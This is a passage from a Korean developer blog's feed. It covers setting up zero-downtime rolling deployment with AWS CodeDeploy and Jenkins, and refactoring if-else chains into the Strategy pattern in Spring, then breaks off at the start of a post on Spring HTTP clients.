</ul>]]></content><author><name>KIM-KYOUNG-OH</name></author><category term="Infra" /><category term="ModSecurity" /><category term="WAF" /><category term="OWASP" /><category term="Nginx" /><category term="Security" /><summary type="html"><![CDATA[웹 애플리케이션이 복잡해질수록 보안 위협도 함께 증가합니다. SQL Injection, XSS, RCE 등 다양한 공격으로부터 서비스를 보호하기 위해 L7 WAF(Web Application Firewall)를 도입하게 되었고, 그 과정에서 ModSecurity를 선택한 이유와 구축 경험을 공유합니다.]]></summary></entry><entry><title type="html">무중단 배포 환경 구축하기 with AWS CodeDeploy</title><link href="https://coffeetimes.github.io/infra/2025/12/07/code-deploy.html" rel="alternate" type="text/html" title="무중단 배포 환경 구축하기 with AWS CodeDeploy" /><published>2025-12-07T00:00:00+00:00</published><updated>2025-12-07T00:00:00+00:00</updated><id>https://coffeetimes.github.io/infra/2025/12/07/code-deploy</id><content type="html" xml:base="https://coffeetimes.github.io/infra/2025/12/07/code-deploy.html"><![CDATA[<p>안정적인 서비스 운영을 위해서는 배포 과정에서 발생할 수 있는 다운타임을 최소화하는 것이 중요합니다.<br />
서버가 2대 이상으로 이중화되어 있고 AWS ELB(Elastic Load Balancer)를 통해 트래픽이 분산 처리되고 있다고 가정해봅시다.<br />
수동 배포 시에는 배포 중인 서버로의 트래픽을 수동으로 차단하고, 배포 완료 후 다시 트래픽을 허용하는 작업을 반복해야 하는 번거로움이 있습니다.<br />
또한 수동 작업 과정에서 실수로 인한 서비스 장애나 요청 유실이 발생할 수 있는 위험도 존재합니다.</p>

<p>이러한 문제를 해결하고 안정적인 무중단 배포 환경을 구축하기 위해 AWS CodeDeploy를 고려해볼 수 있습니다.<br />
이번 포스팅에서는 CodeDeploy와 Jenkins를 활용하여 롤링 배포 전략을 구현한 과정을 공유합니다.</p>

<h2 id="왜-codedeploy-인가">왜 CodeDeploy 인가?</h2>

<h3 id="1-비용-효율성">1. 비용 효율성</h3>
<p>CodeDeploy는 EC2 인스턴스에 배포할 경우 <strong>추가 비용이 발생하지 않습니다</strong>.<br />
AWS 인프라를 사용하고 있다면 CodeDeploy Agent만 설치하면 바로 사용할 수 있어, 별도의 배포 서버나 도구 없이도 무중단 배포 환경을 구축할 수 있습니다.</p>

<h3 id="2-aws-인프라와의-높은-호환성">2. AWS 인프라와의 높은 호환성</h3>
<p>CodeDeploy는 AWS의 네이티브 서비스로, ELB(Elastic Load Balancer)와 긴밀하게 통합되어 있습니다.<br />
배포 과정에서 자동으로 다음과 같은 작업이 수행됩니다:</p>
<ul>
  <li><strong>배포 시작 전</strong>: 대상 인스턴스를 ELB에서 자동으로 등록 해제(deregister)하여 트래픽 차단</li>
  <li><strong>배포 완료 후</strong>: 배포가 성공하면 다시 ELB에 자동 등록(register)하여 트래픽 허용</li>
</ul>

<p>이러한 자동화로 인해 수동 작업 없이도 무중단 배포가 가능하며, 관리 포인트가 줄어들어 운영 부담이 감소합니다.</p>

<h3 id="3-안정적인-배포-전략-지원">3. 안정적인 배포 전략 지원</h3>
<p>롤링 배포, 블루-그린 배포 등 다양한 배포 전략을 지원하며, 배포 실패 시 자동 롤백 기능을 제공하여 서비스 안정성을 높일 수 있습니다.</p>

<h3 id="배포-아키텍처">배포 아키텍처</h3>

<p><img src="https://github.com/user-attachments/assets/5e548f0d-f0f0-4e3e-90e2-8c4af15649b6" alt="architecture" width="1200" /></p>

<h2 id="aws-인프라-세팅">AWS 인프라 세팅</h2>

<h3 id="1-codedeploy-용-iam-role-생성">1. CodeDeploy 용 IAM Role 생성</h3>

<p>AWSCodeDeployRole 권한 정책을 가진 Role 을 생성합니다.</p>

<p><img src="https://github.com/user-attachments/assets/70e6380b-7206-4839-8e8e-0407898dfa47" alt="aws role" /></p>

<h3 id="2-ec2용-iam-role-생성">2. EC2용 IAM Role 생성</h3>

<p>AmazonS3FullAccess, AWSCodeDeployFullAccess 권한 정책을 가진 Role 을 생성합니다.</p>

<p><img src="https://github.com/user-attachments/assets/a8964f25-5783-4ec1-a546-82f13dbaf0b0" alt="ec2 role" /></p>

<p>생성한 IAM Role 을 EC2 와 연결합니다.(타겟 EC2 선택 -&gt; 보안 -&gt; IAM 역할 수정)</p>

<p><img src="https://github.com/user-attachments/assets/0417a385-1558-4d81-9b73-db8ecb807621" alt="ec2 role2" /></p>

<h3 id="3-jenkins-용-iam-유저-생성">3. Jenkins 용 IAM 유저 생성</h3>

<p>AmazonS3FullAccess, AWSCodeDeployFullAccess 권한 정책을 가진 IAM 유저를 생성합니다.</p>

<p><img src="https://github.com/user-attachments/assets/500b05f9-4c13-4a0e-8d97-5c2a242a7b06" alt="IAM user" /></p>

<p>Jenkins 서버에서 접속하기 위한 액세스 키 &amp; 시크릿 키를 발급합니다.(IAM 유저 요약 -&gt; 액세스 키 만들기)</p>

<p><img src="https://github.com/user-attachments/assets/a861afae-c5be-405c-8c2e-097972ed788d" alt="IAM user2" /></p>

<h3 id="4-codedeploy-애플리케이션-및-배포-그룹-생성">4. CodeDeploy 애플리케이션 및 배포 그룹 생성</h3>

<p>CodeDeploy 메뉴에서 애플리케이션을 생성하고 배포할 EC2 인스턴스를 배포 그룹으로 설정합니다.<br />
1번에서 생성한 CodeDeploy Role 을 연결합니다.<br />
롤링 배포를 위해 OneAtATime 을 선택합니다.<br />
로드 밸런싱을 활성화 하면 배포 중인 서버는 트래픽을 차단하고 배포가 성공된 뒤에 다시 트래픽을 허용합니다.</p>

<p><img src="https://github.com/user-attachments/assets/328fd304-2165-41ca-98cc-b8830b826999" alt="codedeploy" /></p>

<p>로드밸런서 설정 내 드레인 타임 값을 조절하여 즉시 차단하지 않고 지연 시간을 줄 수 있습니다.(Default 300초)</p>

<p><img src="https://github.com/user-attachments/assets/fe96dc06-b0ff-47e4-98d0-2327cd0eb0f0" alt="alb" /></p>

<h3 id="5-codedeploy-agent-설치">5. CodeDeploy Agent 설치</h3>
<p>원격 서버(EC2)에 ssh 접속 후 아래 스크립트로 CodeDeploy Agent를 설치합니다.</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>yum update <span class="nt">-y</span>
<span class="nb">sudo </span>yum <span class="nb">install </span>ruby <span class="nt">-y</span>
<span class="nb">sudo </span>yum <span class="nb">install </span>wget <span class="nt">-y</span>
<span class="nb">cd</span> /home/ec2-user
wget https://aws-codedeploy-ap-northeast-2.s3.ap-northeast-2.amazonaws.com/latest/install
<span class="nb">chmod</span> +x ./install
<span class="nb">sudo</span> ./install auto
<span class="nb">sudo </span>service codedeploy-agent start
<span class="nb">sudo </span>service codedeploy-agent status
</code></pre></div></div>

<h3 id="6-애플리케이션-설정">6. 애플리케이션 설정</h3>
<p>CodeDeploy 배포시 동작을 정의하기 위해 appspec.yml 파일과 hook 용 스크립트를 추가합니다.</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">appspec.yml</code> : CodeDeploy가 배포를 어떻게 수행할지 지시하는 설정 파일입니다.</li>
  <li><code class="language-plaintext highlighter-rouge">upload_deploy_war.sh</code> : 번들 파일(.zip) install 성공시 이전 배포 버전을 아카이빙하고 신규 배포 파일로 교체합니다.</li>
  <li><code class="language-plaintext highlighter-rouge">shutdown_application.sh</code> : 현재 동작중인 애플리케이션을 종료합니다.</li>
  <li><code class="language-plaintext highlighter-rouge">startup_application.sh</code> : 신규 배포 버전으로 애플리케이션을 실행합니다.</li>
  <li><code class="language-plaintext highlighter-rouge">validate.sh</code> : 애플리케이션이 정상 실행되었는지 검증합니다.</li>
  <li><code class="language-plaintext highlighter-rouge">clean_and_backup.sh</code> : 배포중 에러가 발생하면 아카이빙한 이전 버전으로 롤백합니다.</li>
</ul>

<p><img src="https://github.com/user-attachments/assets/d9839107-c2f4-4fc6-9401-8adb5df66584" alt="packages" /></p>

<h3 id="appspecyml">appspec.yml</h3>
<p>번들파일(.zip) 최상위 경로에 필수로 위치해야합니다.<br />
hooks 스크립트 정의 순서는 배포시 반영되지 않습니다.</p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">version</span><span class="pi">:</span> <span class="m">0.0</span>
<span class="na">os</span><span class="pi">:</span> <span class="s">linux</span>
<span class="na">files</span><span class="pi">:</span>
  <span class="pi">-</span> <span class="na">source</span><span class="pi">:</span> <span class="s">/</span>
    <span class="na">destination</span><span class="pi">:</span> <span class="s">/home/ec2-user/code-deploy/demo</span>
<span class="na">permissions</span><span class="pi">:</span>
  <span class="pi">-</span> <span class="na">object</span><span class="pi">:</span> <span class="s">/home/ec2-user/code-deploy</span>
    <span class="na">owner</span><span class="pi">:</span> <span class="s">ec2-user</span>
    <span class="na">group</span><span class="pi">:</span> <span class="s">ec2-user</span>
<span class="na">hooks</span><span class="pi">:</span>
  <span class="na">BeforeInstall</span><span class="pi">:</span>
    <span class="pi">-</span> <span class="na">location</span><span class="pi">:</span> <span class="s">scripts/clean_and_backup.sh</span>
      <span class="na">timeout</span><span class="pi">:</span> <span class="m">300</span>
      <span class="na">runas</span><span class="pi">:</span> <span class="s">ec2-user</span>
  <span class="na">AfterInstall</span><span class="pi">:</span>
    <span class="pi">-</span> <span class="na">location</span><span class="pi">:</span> <span class="s">scripts/upload_deploy_war.sh</span>
      <span class="na">timeout</span><span class="pi">:</span> <span class="m">300</span>
      <span class="na">runas</span><span class="pi">:</span> <span class="s">ec2-user</span>
  <span class="na">ApplicationStop</span><span class="pi">:</span>
    <span class="pi">-</span> <span class="na">location</span><span class="pi">:</span> <span class="s">scripts/shutdown_application.sh</span>
      <span class="na">timeout</span><span class="pi">:</span> <span class="m">180</span>
      <span class="na">runas</span><span class="pi">:</span> <span class="s">ec2-user</span>
  <span class="na">ApplicationStart</span><span class="pi">:</span>
    <span class="pi">-</span> <span class="na">location</span><span class="pi">:</span> <span class="s">scripts/startup_application.sh</span>
      <span class="na">timeout</span><span class="pi">:</span> <span class="m">300</span>
      <span class="na">runas</span><span class="pi">:</span> <span class="s">ec2-user</span>
  <span class="na">ValidateService</span><span class="pi">:</span>
    <span class="pi">-</span> <span class="na">location</span><span class="pi">:</span> <span class="s">scripts/validate.sh</span>
      <span class="na">timeout</span><span class="pi">:</span> <span class="m">300</span>
      <span class="na">runas</span><span class="pi">:</span> <span class="s">ec2-user</span>
</code></pre></div></div>

<h3 id="7-jenkins-plugin-설치">7. Jenkins Plugin 설치</h3>
<p>Jenkins 에서 AWS CodeDeploy 를 사용하기 위해 아래 플러그인을 설치합니다.</p>
<ul>
  <li><a href="https://plugins.jenkins.io/aws-credentials/">AWS Credentials Plugin</a></li>
  <li><a href="https://plugins.jenkins.io/codedeploy/">AWS CodeDeploy Plugin</a></li>
</ul>

<p><img src="https://github.com/user-attachments/assets/9e4b3a88-f7fb-4c26-8bd1-b641be310233" alt="jenkins plugins" /></p>

<h3 id="8-jenkins-item-등록">8. Jenkins Item 등록</h3>
<p>1) Jenkins Item 추가</p>

<p><img src="https://github.com/user-attachments/assets/f50d8033-872a-41b2-af48-58d2999556c7" alt="jenkins item" /></p>

<p>2) git checkout 설정</p>

<p><img src="https://github.com/user-attachments/assets/de6a81fe-1b67-4291-8ebf-e638d0756f19" alt="git" /></p>

<p>3) 빌드 및 번들 파일에 포함시킬 파일(appspec.yml, scripts/*) 타겟 경로로 복사</p>

<p><img src="https://github.com/user-attachments/assets/4fcba20f-9be9-4a1c-9741-40ac17376e0e" alt="build" /></p>

<p>4) Jenkins Codedeploy step 추가</p>

<p><img src="https://github.com/user-attachments/assets/2a41d4b8-2e10-4f23-8993-7acb546b8a29" alt="deploy" /></p>

<p><img src="https://github.com/user-attachments/assets/d85ed70e-f176-4010-a4ec-24780146c2a4" alt="detail" /></p>

<p>Access/Secret Keys 값으로 3단계에서 생성한 IAM 유저의 키값을 입력합니다.</p>

<p><img src="https://github.com/user-attachments/assets/d470702a-7292-48bf-9665-9ea77dc1acaf" alt="credentials" /></p>

<h2 id="배포-실행">배포 실행</h2>

<p>Jenkins Item 을 빌드하면 AWS Console &gt; CodeDeploy 메뉴에서 배포 수명 주기 이벤트를 실시간으로 확인할 수 있습니다.</p>

<p><img src="https://github.com/user-attachments/assets/c2ac48f9-979a-45e1-a464-58d52c12f23c" alt="codedeploy1" /></p>

<p><img src="https://github.com/user-attachments/assets/5418461d-07eb-47e0-ba7d-3761861ad5c3" alt="codedeploy2" /></p>

<h2 id="디버깅">디버깅</h2>

<p>원격 서버(EC2) 내 로그 경로</p>
<ul>
  <li><strong>CodeDeploy 자체 로그</strong> :
    <ul>
      <li><code class="language-plaintext highlighter-rouge">/var/log/aws/codedeploy-agent/codedeploy-agent.log</code></li>
    </ul>
  </li>
  <li><strong>CodeDeploy Agent 이벤트/상태 로그</strong> :
    <ul>
      <li><code class="language-plaintext highlighter-rouge">/opt/codedeploy-agent/deployment-root/deployment-logs/codedeploy-agent-deployments.log</code></li>
    </ul>
  </li>
  <li><strong>배포 ID별 스크립트 로그</strong> :
    <ul>
      <li><code class="language-plaintext highlighter-rouge">/opt/codedeploy-agent/deployment-root/&lt;deployment-group-id&gt;/&lt;deployment-id&gt;/logs/scripts.log</code></li>
    </ul>
  </li>
</ul>

<h2 id="배포-완료-slack-알림-선택">배포 완료 Slack 알림 (선택)</h2>

<p><img src="https://github.com/user-attachments/assets/1d59bfc7-7751-4177-8a67-f1cc4c86796e" alt="slack notification" width="500" /></p>

<p>자세한 내용은 아래 링크를 참고해주세요.<br />
👉 <a href="https://galid1.tistory.com/749">https://galid1.tistory.com/749</a></p>

<h2 id="정리">정리</h2>

<p>이번 포스팅에선 이중화된 서버 환경에서 AWS CodeDeploy와 Jenkins를 활용하여 무중단 배포 인프라를 구축하는 과정을 정리해보았습니다.</p>

<p><strong>1. 무중단 배포 달성</strong></p>
<ul>
  <li>ELB 자동 등록/해제를 통해 배포 중에도 서비스 중단 없이 안정적으로 배포할 수 있습니다.</li>
  <li>롤링 배포 전략으로 한 대씩 순차적으로 배포하여 항상 최소 1대 이상의 서버가 요청을 처리합니다.</li>
</ul>

<p><strong>2. 자동화를 통한 운영 효율성</strong></p>
<ul>
  <li>CodeDeploy Agent가 배포 프로세스를 자동으로 수행하여 수동 작업에 따른 휴먼 에러를 방지합니다.</li>
  <li>Jenkins와 통합하여 CI/CD 파이프라인을 완성할 수 있습니다.</li>
</ul>

<p><strong>3. 배포 시 고려사항</strong></p>

<ul>
  <li><strong>롤백 전략</strong>:
    <ul>
      <li>appspec.yml의 hook 스크립트에서 배포 실패 시 이전 버전으로 자동 롤백하는 로직을 구현해야 합니다.</li>
    </ul>
  </li>
  <li><strong>DB 스키마 변경</strong>:
    <ul>
      <li>Ver 1 → Ver 2 배포 과정에서 DB 스키마가 변경될 경우, <strong>하위 호환성</strong>을 반드시 고려해야 합니다.
        <ul>
          <li>하위 호환 가능: DB 선 배포 후 WAS 점진적 배포</li>
          <li>하위 호환 불가능: 블루-그린 배포 전략 적용 고려 (리소스 비용 증가 트레이드오프)</li>
        </ul>
      </li>
    </ul>
  </li>
  <li><strong>드레인 타임 조정</strong>:
    <ul>
      <li>ELB의 Connection Draining 시간을 적절히 설정하여 진행 중인 요청이 안전하게 처리되도록 합니다.</li>
    </ul>
  </li>
</ul>

<h2 id="참고">참고</h2>

<p><a href="https://docs.aws.amazon.com/ko_kr/codedeploy/latest/userguide/welcome.html">https://docs.aws.amazon.com/ko_kr/codedeploy/latest/userguide/welcome.html</a><br />
<a href="https://docs.aws.amazon.com/ko_kr/codedeploy/latest/userguide/getting-started-create-service-role.html#getting-started-create-service-role-console">https://docs.aws.amazon.com/ko_kr/codedeploy/latest/userguide/getting-started-create-service-role.html#getting-started-create-service-role-console</a><br />
<a href="https://jojoldu.tistory.com/314?category=777282">https://jojoldu.tistory.com/314?category=777282</a><br />
<a href="https://galid1.tistory.com/746">https://galid1.tistory.com/746</a><br />
<a href="https://jenakim47.tistory.com/63">https://jenakim47.tistory.com/63</a><br />
<a href="https://velog.io/@chanyoung1998/AWS-CodeDeploy-%EC%98%A4%EB%A5%98-%ED%95%B4%EA%B2%B0%ED%95%98%EA%B8%B0">https://velog.io/@chanyoung1998/AWS-CodeDeploy-%EC%98%A4%EB%A5%98-%ED%95%B4%EA%B2%B0%ED%95%98%EA%B8%B0</a></p>]]></content><author><name>김경오</name></author><category term="Infra" /><category term="jenkins" /><category term="aws" /><category term="code-deploy" /><category term="amazon-sns" /><category term="aws-lambda" /><summary type="html"><![CDATA[안정적인 서비스 운영을 위해서는 배포 과정에서 발생할 수 있는 다운타임을 최소화하는 것이 중요합니다. 서버가 2대 이상으로 이중화되어 있고 AWS ELB(Elastic Load Balancer)를 통해 트래픽이 분산 처리되고 있다고 가정해봅시다. 수동 배포 시에는 배포 중인 서버로의 트래픽을 수동으로 차단하고, 배포 완료 후 다시 트래픽을 허용하는 작업을 반복해야 하는 번거로움이 있습니다. 또한 수동 작업 과정에서 실수로 인한 서비스 장애나 요청 유실이 발생할 수 있는 위험도 존재합니다.]]></summary></entry><entry><title type="html">if-else는 이제 그만, 전략 패턴으로 코드 개선하기</title><link href="https://coffeetimes.github.io/design-pattern/2025/07/27/if-else-explosion.html" rel="alternate" type="text/html" title="if-else는 이제 그만, 전략 패턴으로 코드 개선하기" /><published>2025-07-27T00:00:00+00:00</published><updated>2025-07-27T00:00:00+00:00</updated><id>https://coffeetimes.github.io/design-pattern/2025/07/27/if-else-explosion</id><content type="html" xml:base="https://coffeetimes.github.io/design-pattern/2025/07/27/if-else-explosion.html"><![CDATA[<p>개발자라면 한 번쯤은 <code class="language-plaintext highlighter-rouge">if-else</code> 문으로 가득한 클래스를 만들어본 적이 있을 겁니다.<br />
하지만 시간이 지나고 코드가 커질수록, 우리는 더 깔끔하고 유연한 구조를 원하게 됩니다.<br />
이번 포스팅에서 <code class="language-plaintext highlighter-rouge">if-else</code> 코드를 줄이면서 코드를 단순하고 유지보수에 유리한 구조로 변경하는 방법을 알아 보겠습니다.</p>

<h2 id="if-else-지옥">if-else 지옥</h2>
<p>간단한 예시부터 시작해보겠습니다.<br />
당신은 배송 서비스를 개발 중이고, 현재는 도보, 트럭, 기차 세 가지 배송 수단을 지원하고 있습니다.</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">class</span> <span class="nc">DeliveryService</span> <span class="o">{</span> 
    <span class="kd">public</span> <span class="kt">void</span> <span class="nf">delivery</span> <span class="o">(</span><span class="nc">String</span> <span class="n">deliveryType</span><span class="o">)</span> <span class="o">{</span> 
        <span class="k">if</span> <span class="o">(</span><span class="s">"WALK"</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="n">deliveryType</span><span class="o">))</span> <span class="o">{</span> 
            <span class="c1">// 도보</span>
         <span class="o">}</span> <span class="k">else</span> <span class="k">if</span> <span class="o">(</span><span class="s">"TRUCK"</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="n">deliveryType</span><span class="o">))</span> <span class="o">{</span> 
            <span class="c1">// 트럭</span>
         <span class="o">}</span> <span class="k">else</span> <span class="k">if</span> <span class="o">(</span><span class="s">"TRAIN"</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="n">deliveryType</span><span class="o">))</span> <span class="o">{</span> 
            <span class="c1">// 기차</span>
         <span class="o">}</span> 
    <span class="o">}</span> 
<span class="o">}</span>
</code></pre></div></div>
<p>그런데 어느날 기획팀에서 이렇게 말합니다.<br />
“배송수단 선박, 항공을 추가할 수 있을까요?”</p>

<p>이제 여러분의 클래스는 <code class="language-plaintext highlighter-rouge">else if</code> 블록이 계속 추가되며 점점 복잡해집니다.<br />
처음에는 단순했던 로직이 어느새 거대한 조건 분기문으로 뒤덮이게 되죠.</p>

<h3 id="if-else-방식의-문제점">if-else 방식의 문제점</h3>
<ul>
  <li>조건이 늘어날수록 로직이 복잡해지고 유지보수가 어려워짐</li>
  <li>새로운 타입이 생길 때마다 기존 코드를 수정해야 함 → OCP 위반</li>
  <li>테스트, 가독성, 확장성 모두 악화</li>
</ul>

<p>이제는 if-else 지옥에서 벗어나 더 유연하고 확장 가능한 구조로 나아갈 때입니다.<br />
바로, <strong>전략 패턴(Strategy Pattern)</strong> 을 통해 말이죠.</p>

<h2 id="전략-패턴으로-구조-개선하기">전략 패턴으로 구조 개선하기</h2>

<p>전략 패턴(Strategy Pattern)은 알고리즘(또는 행위)을 캡슐화하여 여러 개의 알고리즘을 상호 교환 가능하게 만들고, 실행 시점에 적절한 알고리즘을 선택할 수 있도록 하는 디자인 패턴입니다.</p>

<p>즉, <strong>“어떤 작업을 수행하는 방법(전략)을 클래스로 분리하고, 필요에 따라 해당 전략을 동적으로 바꿔가며 사용할 수 있게 하는 패턴”</strong> 입니다.</p>

<p>이를 통해 조건문 분기를 줄이고, 확장성과 유지보수성을 높일 수 있습니다.</p>

<h2 id="1전략-인터페이스-정의">1.전략 인터페이스 정의</h2>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">interface</span> <span class="nc">DeliveryStrategy</span> <span class="o">{</span>
    <span class="kt">void</span> <span class="nf">deliver</span><span class="o">();</span>
<span class="o">}</span>
</code></pre></div></div>

<h2 id="2각-타입별-전략-클래스-구현">2.각 타입별 전략 클래스 구현</h2>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@Component</span><span class="o">(</span><span class="s">"WALK"</span><span class="o">)</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">WalkDeliveryStrategy</span> <span class="kd">implements</span> <span class="nc">DeliveryStrategy</span> <span class="o">{</span>
  <span class="nd">@Override</span>
  <span class="kd">public</span> <span class="kt">void</span> <span class="nf">deliver</span><span class="o">()</span> <span class="o">{</span>
    <span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"도보로 배송합니다."</span><span class="o">);</span>
  <span class="o">}</span>
<span class="o">}</span>

<span class="nd">@Component</span><span class="o">(</span><span class="s">"TRUCK"</span><span class="o">)</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">TruckDeliveryStrategy</span> <span class="kd">implements</span> <span class="nc">DeliveryStrategy</span> <span class="o">{</span>
  <span class="nd">@Override</span>
  <span class="kd">public</span> <span class="kt">void</span> <span class="nf">deliver</span><span class="o">()</span> <span class="o">{</span>
    <span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"트럭으로 배송합니다."</span><span class="o">);</span>
  <span class="o">}</span>
<span class="o">}</span>

<span class="nd">@Component</span><span class="o">(</span><span class="s">"TRAIN"</span><span class="o">)</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">TrainDeliveryStrategy</span> <span class="kd">implements</span> <span class="nc">DeliveryStrategy</span> <span class="o">{</span>
  <span class="nd">@Override</span>
  <span class="kd">public</span> <span class="kt">void</span> <span class="nf">deliver</span><span class="o">()</span> <span class="o">{</span>
    <span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"기차로 배송합니다."</span><span class="o">);</span>
  <span class="o">}</span>
<span class="o">}</span>

<span class="nd">@Component</span><span class="o">(</span><span class="s">"SHIP"</span><span class="o">)</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">ShipDeliveryStrategy</span> <span class="kd">implements</span> <span class="nc">DeliveryStrategy</span> <span class="o">{</span>
    <span class="nd">@Override</span>
    <span class="kd">public</span> <span class="kt">void</span> <span class="nf">deliver</span><span class="o">()</span> <span class="o">{</span>
        <span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"선박으로 배송합니다."</span><span class="o">);</span>
    <span class="o">}</span>
<span class="o">}</span>

<span class="nd">@Component</span><span class="o">(</span><span class="s">"AIRPLANE"</span><span class="o">)</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">AirplaneDeliveryStrategy</span> <span class="kd">implements</span> <span class="nc">DeliveryStrategy</span> <span class="o">{</span>
  <span class="nd">@Override</span>
  <span class="kd">public</span> <span class="kt">void</span> <span class="nf">deliver</span><span class="o">()</span> <span class="o">{</span>
    <span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"항공으로 배송합니다."</span><span class="o">);</span>
  <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<h2 id="3전략을-직접-주입받아-사용하는-서비스-클래스">3.전략을 직접 주입받아 사용하는 서비스 클래스</h2>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@Service</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">DeliveryService</span> <span class="o">{</span>
    
    <span class="kd">private</span> <span class="kd">final</span> <span class="nc">Map</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">,</span> <span class="nc">DeliveryStrategy</span><span class="o">&gt;</span> <span class="n">strategyMap</span><span class="o">;</span>

    <span class="kd">public</span> <span class="nf">DeliveryService</span><span class="o">(</span><span class="nc">Map</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">,</span> <span class="nc">DeliveryStrategy</span><span class="o">&gt;</span> <span class="n">strategyMap</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">this</span><span class="o">.</span><span class="na">strategyMap</span> <span class="o">=</span> <span class="n">strategyMap</span><span class="o">;</span>
    <span class="o">}</span>

    <span class="kd">public</span> <span class="kt">void</span> <span class="nf">deliver</span><span class="o">(</span><span class="nc">String</span> <span class="n">deliveryType</span><span class="o">)</span> <span class="o">{</span>
        <span class="nc">DeliveryStrategy</span> <span class="n">strategy</span> <span class="o">=</span> <span class="n">strategyMap</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="n">deliveryType</span><span class="o">);</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">strategy</span> <span class="o">==</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
            <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalArgumentException</span><span class="o">(</span><span class="s">"지원하지 않는 배송 타입: "</span> <span class="o">+</span> <span class="n">deliveryType</span><span class="o">);</span>
        <span class="o">}</span>
        <span class="n">strategy</span><span class="o">.</span><span class="na">deliver</span><span class="o">();</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<h2 id="전략-패턴-도입-전후-비교">전략 패턴 도입 전후 비교</h2>

<table>
  <thead>
    <tr>
      <th>항목</th>
      <th>if-else 방식</th>
      <th>전략 패턴 방식</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>**유지보수 및 확장성**</td>
      <td>❌ 새로운 조건 추가 시 기존 코드 수정 필요</td>
      <td>✅ 기존 코드는 그대로, 클래스만 추가하면 됨</td>
    </tr>
    <tr>
      <td>**가독성**</td>
      <td>❌ 긴 조건문으로 인해 가독성 저하</td>
      <td>✅ 각 전략은 역할이 명확, 읽기 쉬움</td>
    </tr>
    <tr>
      <td>**테스트 용이성**</td>
      <td>❌ 전체 조건 로직 묶여 있어 테스트 어려움</td>
      <td>✅ 전략별로 단위 테스트 가능</td>
    </tr>
  </tbody>
</table>

<h2 id="마무리">마무리</h2>

<p>조건문은 개발 초기엔 빠르게 구현할 수 있는 좋은 수단이지만,
복잡도가 커지는 시스템에서는 유지보수의 큰 장애물이 될 수 있습니다.</p>

<p>전략 패턴은 단순한 디자인 패턴이지만,
적재적소에 적용했을 때 코드의 유연성과 확장성을 극적으로 개선할 수 있습니다.</p>

<p>더 이상 if-else 지옥에 갇히지 마세요.
전략 패턴으로 깔끔하고 유지보수 쉬운 코드를 만들어 보세요!</p>]]></content><author><name>KIM-KYOUNG-OH</name></author><category term="Design-Pattern" /><category term="design-pattern" /><category term="spring" /><category term="java" /><category term="strategy-pattern" /><summary type="html"><![CDATA[개발자라면 한 번쯤은 if-else 문으로 가득한 클래스를 만들어본 적이 있을 겁니다. 하지만 시간이 지나고 코드가 커질수록, 우리는 더 깔끔하고 유연한 구조를 원하게 됩니다. 이번 포스팅에서 if-else 코드를 줄이면서 코드를 단순하고 유지보수에 유리한 구조로 변경하는 방법을 알아 보겠습니다.]]></summary></entry><entry><title type="html">Spring 개발자가 알아야 할 HTTP 통신 도구</title><link href="https://coffeetimes.github.io/spring/2025/07/21/http_communication_tool.html" rel="alternate" type="text/html" title="Spring 개발자가 알아야 할 HTTP 통신 도구" /><published>2025-07-21T00:00:00+00:00</published><updated>2025-07-21T00:00:00+00:00</updated><id>https://coffeetimes.github.io/spring/2025/07/21/http_communication_tool</id><content type="html" xml:base="https://coffeetimes.github.io/spring/2025/07/21/http_communication_tool.html"><![CDATA[<p>Spring 기반 애플리케이션에서 외부 API와의 HTTP 통신은 매우 일반적인 작업입니다. 하지만 사용할 수 있는 도구가 다양하다 보니, <strong>어떤 도구를 언제 써야 할지 헷갈리는 경우가 많습니다.</strong></p>

<p>이번 글에서는 <strong>Spring 개발자가 알아야 할 주요 HTTP 통신 도구 5가지</strong>를 간단한 설명과 함께 정리해보았습니다.</p>

<h2 id="1resttemplate">1.RestTemplate</h2>

<p>오랫동안 사용된 고전적 동기 방식 Spring 표준 Http Client</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">RestTemplate</span> <span class="n">restTemplate</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">RestTemplate</span><span class="o">();</span>
